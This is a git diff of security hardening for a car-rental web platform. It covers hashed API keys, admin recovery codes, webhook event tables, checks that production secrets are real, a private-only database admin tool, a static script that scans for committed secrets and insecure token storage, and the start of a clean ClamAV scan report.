+ "integrity": "sha512-LxhCLToY0id1CkmYFi9sTM2RfoBWszr6mmMrBtmTFqKF0fXX3ZIbM8m1sKoNFIrZFn7gFroT7cnZea5neufSHg==",
+ "cpu": [
+ "arm64"
+ ],
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/@next/swc-win32-x64-msvc": {
+ "version": "16.2.8",
+ "resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-16.2.8.tgz",
+ "integrity": "sha512-xfGxs1zIkTOLzH8i1WWCeTqQhNqyrv3aVT55PMy7Ul3dfxlA3In7hNEJ3Uo2qpalEBOlkG6G6FLRMWbUrxL+qQ==",
+ "cpu": [
+ "x64"
+ ],
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
}
}
}
diff --git a/package.json b/package.json
index c1a4882..23cb894 100644
--- a/package.json
+++ b/package.json
@@ -53,7 +53,13 @@
"db:seed:admin": "npm run db:seed --workspace @rentaldrivego/database",
"db:studio": "cd packages/database && npx prisma studio",
"test:api": "npm run test --workspace @rentaldrivego/api",
- "test:api:integration": "npm run test:integration --workspace @rentaldrivego/api"
+ "test:api:integration": "npm run test:integration --workspace @rentaldrivego/api",
+ "test:dashboard": "npm run test --workspace @rentaldrivego/dashboard",
+ "test:admin": "npm run test --workspace @rentaldrivego/admin",
+ "test:marketplace": "npm run test --workspace @rentaldrivego/marketplace",
+ "test:frontends": "npm run test:dashboard && npm run test:admin && npm run test:marketplace",
+ "security:static": "node scripts/security-static-check.mjs",
+ "security:scan": "npm run security:static && npm audit --production"
},
"devDependencies": {
"turbo": "^1.13.0",
diff --git a/packages/database/prisma/migrations/20260609194000_company_api_keys/migration.sql b/packages/database/prisma/migrations/20260609194000_company_api_keys/migration.sql
new file mode 100644
index 0000000..d207527
--- /dev/null
+++ b/packages/database/prisma/migrations/20260609194000_company_api_keys/migration.sql
@@ -0,0 +1,15 @@
+-- Company API keys are stored hash-only. Raw keys are shown once at creation.
+CREATE TABLE IF NOT EXISTS "company_api_keys" (
+ "id" TEXT PRIMARY KEY,
+ "companyId" TEXT NOT NULL,
+ "name" TEXT NOT NULL,
+ "prefix" TEXT NOT NULL UNIQUE,
+ "keyHash" TEXT NOT NULL,
+ "lastUsedAt" TIMESTAMP(3),
+ "revokedAt" TIMESTAMP(3),
+ "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
+ CONSTRAINT "company_api_keys_companyId_fkey"
+ FOREIGN KEY ("companyId") REFERENCES "companies"("id") ON DELETE CASCADE ON UPDATE CASCADE
+);
+
+CREATE INDEX IF NOT EXISTS "company_api_keys_companyId_idx" ON "company_api_keys"("companyId");
diff --git a/packages/database/prisma/migrations/20260609194500_reservation_public_access/migration.sql b/packages/database/prisma/migrations/20260609194500_reservation_public_access/migration.sql
new file mode 100644
index 0000000..f515909
--- /dev/null
+++ b/packages/database/prisma/migrations/20260609194500_reservation_public_access/migration.sql
@@ -0,0 +1,13 @@
+CREATE TABLE IF NOT EXISTS "reservation_public_access" (
+ "id" TEXT PRIMARY KEY,
+ "reservationId" TEXT NOT NULL,
+ "tokenHash" TEXT NOT NULL UNIQUE,
+ "expiresAt" TIMESTAMP(3) NOT NULL,
+ "usedAt" TIMESTAMP(3),
+ "revokedAt" TIMESTAMP(3),
+ "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
+ CONSTRAINT "reservation_public_access_reservationId_fkey"
+ FOREIGN KEY ("reservationId") REFERENCES "reservations"("id") ON DELETE CASCADE ON UPDATE CASCADE
+);
+
+CREATE INDEX IF NOT EXISTS "reservation_public_access_reservationId_idx" ON "reservation_public_access"("reservationId");
diff --git a/packages/database/prisma/migrations/20260609201000_add_webhook_events/migration.sql b/packages/database/prisma/migrations/20260609201000_add_webhook_events/migration.sql
new file mode 100644
index 0000000..5a32216
--- /dev/null
+++ b/packages/database/prisma/migrations/20260609201000_add_webhook_events/migration.sql
@@ -0,0 +1,18 @@
+CREATE TABLE IF NOT EXISTS "webhook_events" (
+ "id" TEXT NOT NULL,
+ "provider" TEXT NOT NULL,
+ "providerEventId" TEXT NOT NULL,
+ "eventType" TEXT NOT NULL,
+ "status" TEXT NOT NULL,
+ "payloadHash" TEXT NOT NULL,
+ "errorMessage" TEXT,
+ "receivedAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
+ "processedAt" TIMESTAMP(3),
+ CONSTRAINT "webhook_events_pkey" PRIMARY KEY ("id")
+);
+
+CREATE UNIQUE INDEX IF NOT EXISTS "webhook_events_provider_providerEventId_key"
+ ON "webhook_events"("provider", "providerEventId");
+
+CREATE INDEX IF NOT EXISTS "webhook_events_provider_status_idx"
+ ON "webhook_events"("provider", "status");
diff --git a/packages/database/prisma/migrations/20260609233000_drop_legacy_company_api_key/migration.sql b/packages/database/prisma/migrations/20260609233000_drop_legacy_company_api_key/migration.sql
new file mode 100644
index 0000000..885868e
--- /dev/null
+++ b/packages/database/prisma/migrations/20260609233000_drop_legacy_company_api_key/migration.sql
@@ -0,0 +1,4 @@
+-- Remove legacy plaintext company API key storage.
+-- Company integrations must use company_api_keys, which stores only key hashes and prefixes.
+DROP INDEX IF EXISTS "companies_apiKey_key";
+ALTER TABLE "companies" DROP COLUMN IF EXISTS "apiKey";
diff --git a/packages/database/prisma/migrations/20260610001500_add_admin_recovery_codes/migration.sql b/packages/database/prisma/migrations/20260610001500_add_admin_recovery_codes/migration.sql
new file mode 100644
index 0000000..13bbb73
--- /dev/null
+++ b/packages/database/prisma/migrations/20260610001500_add_admin_recovery_codes/migration.sql
@@ -0,0 +1,16 @@
+-- CreateTable
+CREATE TABLE "admin_recovery_codes" (
+ "id" TEXT NOT NULL,
+ "adminUserId" TEXT NOT NULL,
+ "codeHash" TEXT NOT NULL,
+ "usedAt" TIMESTAMP(3),
+ "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
+
+ CONSTRAINT "admin_recovery_codes_pkey" PRIMARY KEY ("id")
+);
+
+-- CreateIndex
+CREATE INDEX "admin_recovery_codes_adminUserId_usedAt_idx" ON "admin_recovery_codes"("adminUserId", "usedAt");
+
+-- AddForeignKey
+ALTER TABLE "admin_recovery_codes" ADD CONSTRAINT "admin_recovery_codes_adminUserId_fkey" FOREIGN KEY ("adminUserId") REFERENCES "admin_users"("id") ON DELETE CASCADE ON UPDATE CASCADE;
diff --git a/packages/database/prisma/schema.prisma b/packages/database/prisma/schema.prisma
index 6facefe..3f71f18 100644
--- a/packages/database/prisma/schema.prisma
+++ b/packages/database/prisma/schema.prisma
@@ -502,7 +502,6 @@ model Company {
address Json?
status CompanyStatus @default(PENDING)
subscriptionPaymentRef String?
- apiKey String @unique @default(cuid())
subscription Subscription?
billingAccounts BillingAccount[]
@@ -522,6 +521,7 @@ model Company {
notifications Notification[] @relation("CompanyNotifications")
complaints Complaint[]
companyMenuItems CompanyMenuItem[]
+ apiKeys CompanyApiKey[]
createdAt DateTime @default(now())
updatedAt DateTime @updatedAt
@@ -530,6 +530,21 @@ model Company {
@@map("companies")
}
+model CompanyApiKey {
+ id String @id @default(cuid())
+ companyId String
+ company Company @relation(fields: [companyId], references: [id], onDelete: Cascade)
+ name String
+ prefix String @unique
+ keyHash String
+ lastUsedAt DateTime?
+ revokedAt DateTime?
+ createdAt DateTime @default(now())
+
+ @@index([companyId])
+ @@map("company_api_keys")
+}
+
model Subscription {
id String @id @default(cuid())
companyId String @unique
@@ -1301,6 +1316,7 @@ model Reservation {
photos ReservationPhoto[]
review Review?
complaints Complaint[]
+ publicAccess ReservationPublicAccess[]
damageChargeAmount Int?
damageChargeNote String?
extras Json?
@@ -1315,6 +1331,37 @@ model Reservation {
@@map("reservations")
}
+model ReservationPublicAccess {
+ id String @id @default(cuid())
+ reservationId String
+ reservation Reservation @relation(fields: [reservationId], references: [id], onDelete: Cascade)
+ tokenHash String @unique
+ expiresAt DateTime
+ usedAt DateTime?
+ revokedAt DateTime?
+ createdAt DateTime @default(now())
+
+ @@index([reservationId])
+ @@map("reservation_public_access")
+}
+
+
+model WebhookEvent {
+ id String @id @default(cuid())
+ provider String
+ providerEventId String
+ eventType String
+ status String
+ payloadHash String
+ errorMessage String?
+ receivedAt DateTime @default(now())
+ processedAt DateTime?
+
+ @@unique([provider, providerEventId])
+ @@index([provider, status])
+ @@map("webhook_events")
+}
+
model RentalPayment {
id String @id @default(cuid())
companyId String
@@ -1746,8 +1793,9 @@ model AdminUser {
passwordResetToken String? @unique
passwordResetExpiresAt DateTime?
- auditLogs AuditLog[]
- permissions AdminPermission[]
+ auditLogs AuditLog[]
+ permissions AdminPermission[]
+ recoveryCodes AdminRecoveryCode[]
createdAt DateTime @default(now())
updatedAt DateTime @updatedAt
@@ -1766,6 +1814,19 @@ model AdminPermission {
@@map("admin_permissions")
}
+
+model AdminRecoveryCode {
+ id String @id @default(cuid())
+ adminUserId String
+ adminUser AdminUser @relation(fields: [adminUserId], references: [id], onDelete: Cascade)
+ codeHash String
+ usedAt DateTime?
+ createdAt DateTime @default(now())
+
+ @@index([adminUserId, usedAt])
+ @@map("admin_recovery_codes")
+}
+
model AuditLog {
id String @id @default(cuid())
adminUserId String
diff --git a/packages/database/src/index.d.ts b/packages/database/src/index.d.ts
index 71a16c3..805947a 100644
--- a/packages/database/src/index.d.ts
+++ b/packages/database/src/index.d.ts
@@ -33,7 +33,6 @@ export interface Company {
email: string
phone: string | null
status: string
- apiKey: string
}
export interface Employee {
diff --git a/packages/database/src/index.ts b/packages/database/src/index.ts
index 8f8b14d..9f91f3a 100644
--- a/packages/database/src/index.ts
+++ b/packages/database/src/index.ts
@@ -33,7 +33,6 @@ export interface Company {
email: string
phone: string | null
status: string
- apiKey: string
}
export interface Employee {
diff --git a/scripts/docker-cleanup.sh b/scripts/docker-cleanup.sh
old mode 100755
new mode 100644
diff --git a/scripts/docker-prod-common.sh b/scripts/docker-prod-common.sh
old mode 100755
new mode 100644
index a000777..a45f562
--- a/scripts/docker-prod-common.sh
+++ b/scripts/docker-prod-common.sh
@@ -53,13 +53,15 @@ read_env_value() {
}
validate_prod_env_file() {
- local api_domain public_site_domain cors_origins pgmanage_domain portainer_domain
+ local api_domain public_site_domain cors_origins portainer_domain postgres_password redis_password jwt_secret
api_domain="$(read_env_value API_DOMAIN)"
public_site_domain="$(read_env_value PUBLIC_SITE_DOMAIN)"
cors_origins="$(read_env_value CORS_ORIGINS)"
- pgmanage_domain="$(read_env_value PGMANAGE_DOMAIN)"
portainer_domain="$(read_env_value PORTAINER_DOMAIN)"
+ postgres_password="$(read_env_value POSTGRES_PASSWORD)"
+ redis_password="$(read_env_value REDIS_PASSWORD)"
+ jwt_secret="$(read_env_value JWT_SECRET)"
if [[ -z "${api_domain}" || "${api_domain}" == *example.com* ]]; then
echo "Invalid API_DOMAIN in ${ENV_FILE}. Set it to the real production API hostname, not example.com." >&2
@@ -76,10 +78,15 @@ validate_prod_env_file() {
exit 1
fi
- if [[ -n "${pgmanage_domain}" && "${pgmanage_domain}" == *example.com* ]]; then
- echo "Invalid PGMANAGE_DOMAIN in ${ENV_FILE}. Set a real hostname or disable the pgmanage router." >&2
- exit 1
- fi
+ for pair in "POSTGRES_PASSWORD:${postgres_password}" "REDIS_PASSWORD:${redis_password}" "JWT_SECRET:${jwt_secret}"; do
+ key="${pair%%:*}"
+ value="${pair#*:}"
+ if [[ -z "${value}" || "${value}" == replace-with-* || "${value}" == *changeme* || "${value}" == *change-me* ]]; then
+ echo "Invalid ${key} in ${ENV_FILE}. Set a real production secret." >&2
+ exit 1
+ fi
+ done
+
if [[ -n "${portainer_domain}" && "${portainer_domain}" == *example.com* ]]; then
echo "Invalid PORTAINER_DOMAIN in ${ENV_FILE}. Set a real hostname or disable the portainer router." >&2
diff --git a/scripts/docker-prod-deploy.sh b/scripts/docker-prod-deploy.sh
index 3692a9a..5483c83 100644
--- a/scripts/docker-prod-deploy.sh
+++ b/scripts/docker-prod-deploy.sh
@@ -25,7 +25,7 @@ echo "Running database migrations"
run_prod_migrations
echo "Starting application services"
-prod_compose up -d api marketplace dashboard admin pgmanage
+prod_compose up -d api marketplace dashboard admin
wait_for_healthy api 180
wait_for_healthy marketplace 180
wait_for_healthy dashboard 180
diff --git a/scripts/docker-prod-run-pulled-image.sh b/scripts/docker-prod-run-pulled-image.sh
index c36f32f..16148bf 100644
--- a/scripts/docker-prod-run-pulled-image.sh
+++ b/scripts/docker-prod-run-pulled-image.sh
@@ -91,11 +91,12 @@ prod_compose run --rm migrate
echo "Starting application services"
app_services=(api marketplace dashboard admin)
-if [[ "${INCLUDE_PGMANAGE}" == "1" ]]; then
- app_services+=(pgmanage)
-fi
-prod_compose up -d "${app_services[@]}"
+if [[ "${INCLUDE_PGMANAGE}" == "1" ]]; then
+ prod_compose --profile private-tools up -d "${app_services[@]}" pgmanage
+else
+ prod_compose up -d "${app_services[@]}"
+fi
wait_for_healthy api 180
wait_for_healthy marketplace 180
wait_for_healthy dashboard 180
diff --git a/scripts/docker-prod-up-admin.sh b/scripts/docker-prod-up-admin.sh
old mode 100755
new mode 100644
diff --git a/scripts/docker-prod-up-all.sh b/scripts/docker-prod-up-all.sh
old mode 100755
new mode 100644
index 85c346d..68078dd
--- a/scripts/docker-prod-up-all.sh
+++ b/scripts/docker-prod-up-all.sh
@@ -6,10 +6,10 @@ ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
source "${ROOT_DIR}/scripts/docker-prod-common.sh"
start_traefik
-start_prod_services postgres redis api marketplace dashboard admin pgmanage
+start_prod_services postgres redis api marketplace dashboard admin
wait_for_healthy api
wait_for_healthy marketplace
wait_for_healthy dashboard
wait_for_healthy admin
-echo "Production stack is up and healthy: traefik, postgres, redis, api, marketplace, dashboard, admin, pgmanage"
+echo "Production stack is up and healthy: traefik, postgres, redis, api, marketplace, dashboard, admin"
diff --git a/scripts/docker-prod-up-api.sh b/scripts/docker-prod-up-api.sh
old mode 100755
new mode 100644
diff --git a/scripts/docker-prod-up-dashboard.sh b/scripts/docker-prod-up-dashboard.sh
old mode 100755
new mode 100644
diff --git a/scripts/docker-prod-up-frontends.sh b/scripts/docker-prod-up-frontends.sh
old mode 100755
new mode 100644
diff --git a/scripts/docker-prod-up-marketplace.sh b/scripts/docker-prod-up-marketplace.sh
old mode 100755
new mode 100644
diff --git a/scripts/docker-prod-up-pgmanage.sh b/scripts/docker-prod-up-pgmanage.sh
old mode 100755
new mode 100644
index 606259c..c4dad62
--- a/scripts/docker-prod-up-pgmanage.sh
+++ b/scripts/docker-prod-up-pgmanage.sh
@@ -5,6 +5,17 @@ set -euo pipefail
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
source "${ROOT_DIR}/scripts/docker-prod-common.sh"
-start_prod_services pgmanage
+ensure_env_file
-echo "pgManage is starting."
+pgmanage_user="$(read_env_value PGMANAGE_DEFAULT_USERNAME)"
+pgmanage_password="$(read_env_value PGMANAGE_DEFAULT_PASSWORD)"
+if [[ -z "${pgmanage_user}" || -z "${pgmanage_password}" || "${pgmanage_user}" == "admin" || "${pgmanage_password}" == replace-with-* ]]; then
+ echo "Set strong PGMANAGE_DEFAULT_USERNAME and PGMANAGE_DEFAULT_PASSWORD before starting pgManage." >&2
+ exit 1
+fi
+
+echo "Starting pgManage on the private Docker network only."
+echo "Access it with an SSH tunnel or VPN path to the Docker host, not through public Traefik."
+prod_compose --profile private-tools up --build -d pgmanage
+
+echo "pgManage is starting as a private tool."
diff --git a/scripts/docker-prod-up-postgres.sh b/scripts/docker-prod-up-postgres.sh
old mode 100755
new mode 100644
diff --git a/scripts/docker-prod-up-redis.sh b/scripts/docker-prod-up-redis.sh
old mode 100755
new mode 100644
diff --git a/scripts/docker-prod-up-traefik.sh b/scripts/docker-prod-up-traefik.sh
old mode 100755
new mode 100644
diff --git a/scripts/security-static-check.mjs b/scripts/security-static-check.mjs
new file mode 100644
index 0000000..75dff60
--- /dev/null
+++ b/scripts/security-static-check.mjs
@@ -0,0 +1,74 @@
+import fs from 'node:fs'
+import path from 'node:path'
+
+const root = process.cwd()
+const ignoredDirs = new Set(['.git', 'node_modules', 'dist', '.next', 'coverage', '.turbo'])
+const files = []
+
+function walk(dir) {
+ for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
+ if (ignoredDirs.has(entry.name)) continue
+ const p = path.join(dir, entry.name)
+ if (entry.isDirectory()) walk(p)
+ else files.push(p)
+ }
+}
+
+walk(root)
+
+const findings = []
+const authTokenStorage = /localStorage\.(?:setItem|getItem|removeItem)\(\s*(?:['"](?:employee_token|admin_token|renter_token|employee_session|admin_session|renter_session)['"]|[A-Z0-9_]*TOKEN[A-Z0-9_]*)|document\.cookie\s*=\s*['"](?:employee_token|admin_token|renter_token|employee_session|admin_session|renter_session)=/i
+const rawWebhookStringify = /JSON\.stringify\(req\.body\)/i
+const secretAssignment = /^(JWT_SECRET|DATABASE_URL|POSTGRES_PASSWORD|SMTP_PASSWORD|REGISTRY_PASSWORD|REGISTRY_HTTP_SECRET|AMANPAY_WEBHOOK_SECRET|PAYPAL_WEBHOOK_SECRET|CLERK_SECRET_KEY|RESEND_API_KEY|MAIL_PASSWORD|FIREBASE_PRIVATE_KEY|TWILIO_AUTH_TOKEN|PAYPAL_CLIENT_SECRET|AMANPAY_SECRET_KEY|CLOUDINARY_API_SECRET|ADMIN_SEED_PASSWORD)\s*=\s*(.+)$/i
+
+function isTestPath(rel) {
+ return rel.includes('/test/') || rel.includes('/tests/') || /\.(test|spec)\.[tj]sx?$/.test(rel)
+}
+
+function isEnvLike(rel) {
+ const base = path.basename(rel)
+ return base === '.env' || base.startsWith('.env') || base.endsWith('.env')
+}
+
+function looksPlaceholder(value) {
+ const v = value.trim().replace(/^['"]|['"]$/g, '')
+ if (!v || /^\$\{?[A-Z0-9_]+\}?$/i.test(v)) return true
+ if (/replace-with|placeholder|example|your-|your_|dummy|changeme|change-me|test-secret|localhost|127\.0\.0\.1/i.test(v)) return true
+ if (/^postgresql:\/\/[^:]+:replace-with-/i.test(v)) return true
+ return false
+}
+
+for (const file of files) {
+ const rel = path.relative(root, file)
+ if (rel.startsWith('.claude/') || rel === '.gitlab-ci.yml' || isTestPath(rel)) continue
+ if (!/\.(ts|tsx|js|jsx|json|env|example|yml|yaml|toml|md|prisma|sql)$/.test(rel) && !path.basename(rel).startsWith('.env')) continue
+
+ let text
+ try { text = fs.readFileSync(file, 'utf8') } catch { continue }
+ if (text.includes('\u0000')) continue
+ const lines = text.split(/\r?\n/)
+
+ for (let i = 0; i < lines.length; i += 1) {
+ const line = lines[i]
+ if (authTokenStorage.test(line)) {
+ findings.push(`${rel}:${i + 1}: script-readable auth token storage`)
+ }
+ if (rel.includes('/webhooks/') || rel.includes('payment.routes') || rel.includes('subscription.routes')) {
+ if (rawWebhookStringify.test(line)) findings.push(`${rel}:${i + 1}: webhook signature code must use raw body`)
+ }
+ if (isEnvLike(rel)) {
+ const match = line.match(secretAssignment)
+ if (match && !looksPlaceholder(match[2])) {
+ findings.push(`${rel}:${i + 1}: possible committed secret`)
+ }
+ }
+ }
+}
+
+if (findings.length) {
+ console.error('Security static check failed:')
+ for (const finding of findings) console.error(`- ${finding}`)
+ process.exit(1)
+}
+
+console.log('Security static check passed')
diff --git a/scripts/setup-clerk-keys.sh b/scripts/setup-clerk-keys.sh
old mode 100755
new mode 100644
diff --git a/security-reports/clamav.txt b/security-reports/clamav.txt
new file mode 100644
index 0000000..8483e1d
--- /dev/null
+++ b/security-reports/clamav.txt
@@ -0,0 +1,37627 @@
+/scan/car_rental_app.code-workspace: OK
+/scan/.env.docker.production.example: OK
+/scan/docker/pgmanage/override.py: OK
+/scan/docker/pgadmin/servers.json: OK
+/scan/docker/scripts/dev-bootstrap.sh: OK
+/scan/docker/scripts/npm: OK
+/scan/.DS_Store: OK
+/scan/.env.docker.production.generated: OK
+/scan/Dockerfile.test: OK
+/scan/.env.local: OK
+/scan/memory/MEMORY.md: OK
+/scan/memory/project_auth_architecture.md: OK
+/scan/tsconfig.base.json: OK
+/scan/.env.docker.dev: OK
+/scan/turbo.json: OK
+/scan/node_modules/pako/LICENSE: OK
+/scan/node_modules/pako/CHANGELOG.md: OK
+/scan/node_modules/pako/dist/pako_inflate.js: OK
+/scan/node_modules/pako/dist/pako_deflate.js: OK
+/scan/node_modules/pako/dist/pako.min.js: OK
+/scan/node_modules/pako/dist/pako_deflate.min.js: OK
+/scan/node_modules/pako/dist/pako.js: OK
+/scan/node_modules/pako/dist/pako_inflate.min.js: OK
+/scan/node_modules/pako/index.js: OK
+/scan/node_modules/pako/README.md: OK
+/scan/node_modules/pako/package.json: OK
+/scan/node_modules/pako/lib/inflate.js: OK
+/scan/node_modules/pako/lib/deflate.js: OK
+/scan/node_modules/pako/lib/utils/strings.js: OK
+/scan/node_modules/pako/lib/utils/common.js: OK
+/scan/node_modules/pako/lib/zlib/constants.js: OK
+/scan/node_modules/pako/lib/zlib/inflate.js: OK
+/scan/node_modules/pako/lib/zlib/deflate.js: OK
+/scan/node_modules/pako/lib/zlib/crc32.js: OK
+/scan/node_modules/pako/lib/zlib/zstream.js: OK
+/scan/node_modules/pako/lib/zlib/inffast.js: OK
+/scan/node_modules/pako/lib/zlib/adler32.js: OK
+/scan/node_modules/pako/lib/zlib/README: OK
+/scan/node_modules/pako/lib/zlib/inftrees.js: OK
+/scan/node_modules/pako/lib/zlib/trees.js: OK
+/scan/node_modules/pako/lib/zlib/gzheader.js: OK
+/scan/node_modules/pako/lib/zlib/messages.js: OK
+/scan/node_modules/queue-microtask/LICENSE: OK
+/scan/node_modules/queue-microtask/index.js: OK
+/scan/node_modules/queue-microtask/README.md: OK
+/scan/node_modules/queue-microtask/package.json: OK
+/scan/node_modules/queue-microtask/index.d.ts: OK
+/scan/node_modules/jws/LICENSE: OK
+/scan/node_modules/jws/CHANGELOG.md: OK
+/scan/node_modules/jws/opslevel.yml: OK
+/scan/node_modules/jws/index.js: OK
+/scan/node_modules/jws/readme.md: OK
+/scan/node_modules/jws/package.json: OK
+/scan/node_modules/jws/lib/tostring.js: OK
+/scan/node_modules/jws/lib/sign-stream.js: OK
+/scan/node_modules/jws/lib/verify-stream.js: OK
+/scan/node_modules/jws/lib/data-stream.js: OK
+/scan/node_modules/parse-svg-path/License: OK
+/scan/node_modules/parse-svg-path/index.js: OK
+/scan/node_modules/parse-svg-path/Readme.md: OK
+/scan/node_modules/parse-svg-path/package.json: OK
+/scan/node_modules/tinyglobby/LICENSE: OK
+/scan/node_modules/tinyglobby/dist/index.d.mts: OK
+/scan/node_modules/tinyglobby/dist/index.d.cts: OK
+/scan/node_modules/tinyglobby/dist/index.cjs: OK
+/scan/node_modules/tinyglobby/dist/index.mjs: OK
+/scan/node_modules/tinyglobby/node_modules/picomatch/LICENSE: OK
+/scan/node_modules/tinyglobby/node_modules/picomatch/index.js: OK
+/scan/node_modules/tinyglobby/node_modules/picomatch/README.md: OK
+/scan/node_modules/tinyglobby/node_modules/picomatch/posix.js: OK
+/scan/node_modules/tinyglobby/node_modules/picomatch/package.json: OK
+/scan/node_modules/tinyglobby/node_modules/picomatch/lib/constants.js: OK
+/scan/node_modules/tinyglobby/node_modules/picomatch/lib/parse.js: OK
+/scan/node_modules/tinyglobby/node_modules/picomatch/lib/picomatch.js: OK
+/scan/node_modules/tinyglobby/node_modules/picomatch/lib/utils.js: OK
+/scan/node_modules/tinyglobby/node_modules/picomatch/lib/scan.js: OK
+/scan/node_modules/tinyglobby/node_modules/fdir/LICENSE: OK
+/scan/node_modules/tinyglobby/node_modules/fdir/dist/index.d.mts: OK
+/scan/node_modules/tinyglobby/node_modules/fdir/dist/index.d.cts: OK
+/scan/node_modules/tinyglobby/node_modules/fdir/dist/index.cjs: OK
+/scan/node_modules/tinyglobby/node_modules/fdir/dist/index.mjs: OK
+/scan/node_modules/tinyglobby/node_modules/fdir/README.md: OK
+/scan/node_modules/tinyglobby/node_modules/fdir/package.json: OK
+/scan/node_modules/tinyglobby/README.md: OK
+/scan/node_modules/tinyglobby/package.json: OK
+/scan/node_modules/helmet/LICENSE: OK
+/scan/node_modules/helmet/CHANGELOG.md: OK
+/scan/node_modules/helmet/index.d.mts: OK
+/scan/node_modules/helmet/index.d.cts: OK
+/scan/node_modules/helmet/README.md: OK
+/scan/node_modules/helmet/package.json: OK
+/scan/node_modules/helmet/index.cjs: OK
+/scan/node_modules/helmet/index.mjs: OK
+/scan/node_modules/helmet/SECURITY.md: OK
+/scan/node_modules/callsites/license: OK
+/scan/node_modules/callsites/index.js: OK
+/scan/node_modules/callsites/readme.md: OK
+/scan/node_modules/callsites/package.json: OK
+/scan/node_modules/callsites/index.d.ts: OK
+/scan/node_modules/@alloc/quick-lru/license: OK
+/scan/node_modules/@alloc/quick-lru/index.js: OK
+/scan/node_modules/@alloc/quick-lru/readme.md: OK
+/scan/node_modules/@alloc/quick-lru/package.json: OK
+/scan/node_modules/@alloc/quick-lru/index.d.ts: OK
+/scan/node_modules/@paralleldrive/cuid2/LICENSE: OK
+/scan/node_modules/@paralleldrive/cuid2/index.js: OK
+/scan/node_modules/@paralleldrive/cuid2/README.md: OK
+/scan/node_modules/@paralleldrive/cuid2/package.json: OK
+/scan/node_modules/@paralleldrive/cuid2/index.d.ts: OK
+/scan/node_modules/@paralleldrive/cuid2/src/index.js: OK
+/scan/node_modules/victory-vendor/d3-time.js: OK
+/scan/node_modules/victory-vendor/d3-timer.js: OK
+/scan/node_modules/victory-vendor/d3-interpolate.js: OK
+/scan/node_modules/victory-vendor/CHANGELOG.md: OK
+/scan/node_modules/victory-vendor/d3-time.d.ts: OK
+/scan/node_modules/victory-vendor/d3-interpolate.d.ts: OK
+/scan/node_modules/victory-vendor/README.md: OK
+/scan/node_modules/victory-vendor/d3-array.js: OK
+/scan/node_modules/victory-vendor/d3-ease.js: OK
+/scan/node_modules/victory-vendor/package.json: OK
+/scan/node_modules/victory-vendor/d3-scale.js: OK
+/scan/node_modules/victory-vendor/lib/d3-time.js: OK
+/scan/node_modules/victory-vendor/lib/d3-timer.js: OK
+/scan/node_modules/victory-vendor/lib/d3-interpolate.js: OK
+/scan/node_modules/victory-vendor/lib/d3-voronoi.js: OK
+/scan/node_modules/victory-vendor/lib/internmap.js: OK
+/scan/node_modules/victory-vendor/lib/d3-color.js: OK
+/scan/node_modules/victory-vendor/lib/d3-array.js: OK
+/scan/node_modules/victory-vendor/lib/d3-ease.js: OK
+/scan/node_modules/victory-vendor/lib/d3-format.js: OK
+/scan/node_modules/victory-vendor/lib/d3-scale.js: OK
+/scan/node_modules/victory-vendor/lib/d3-time-format.js: OK
+/scan/node_modules/victory-vendor/lib/d3-shape.js: OK
+/scan/node_modules/victory-vendor/lib/d3-path.js: OK
+/scan/node_modules/victory-vendor/d3-scale.d.ts: OK
+/scan/node_modules/victory-vendor/d3-shape.d.ts: OK
+/scan/node_modules/victory-vendor/d3-timer.d.ts: OK
+/scan/node_modules/victory-vendor/es/d3-time.js: OK
+/scan/node_modules/victory-vendor/es/d3-timer.js: OK
+/scan/node_modules/victory-vendor/es/d3-interpolate.js: OK
+/scan/node_modules/victory-vendor/es/d3-voronoi.js: OK
+/scan/node_modules/victory-vendor/es/internmap.js: OK
+/scan/node_modules/victory-vendor/es/d3-color.js: OK
+/scan/node_modules/victory-vendor/es/d3-array.js: OK
+/scan/node_modules/victory-vendor/es/d3-ease.js: OK
+/scan/node_modules/victory-vendor/es/d3-format.js: OK
+/scan/node_modules/victory-vendor/es/d3-scale.js: OK
+/scan/node_modules/victory-vendor/es/d3-time-format.js: OK
+/scan/node_modules/victory-vendor/es/d3-shape.js: OK
+/scan/node_modules/victory-vendor/es/d3-path.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-format/LICENSE: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-format/src/formatGroup.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-format/src/formatDecimal.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-format/src/formatSpecifier.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-format/src/formatNumerals.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-format/src/precisionFixed.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-format/src/index.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-format/src/defaultLocale.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-format/src/precisionRound.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-format/src/formatTrim.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-format/src/formatRounded.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-format/src/identity.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-format/src/formatPrefixAuto.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-format/src/formatTypes.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-format/src/precisionPrefix.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-format/src/locale.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-format/src/exponent.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/LICENSE: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/order/reverse.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/order/none.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/order/descending.js: OK
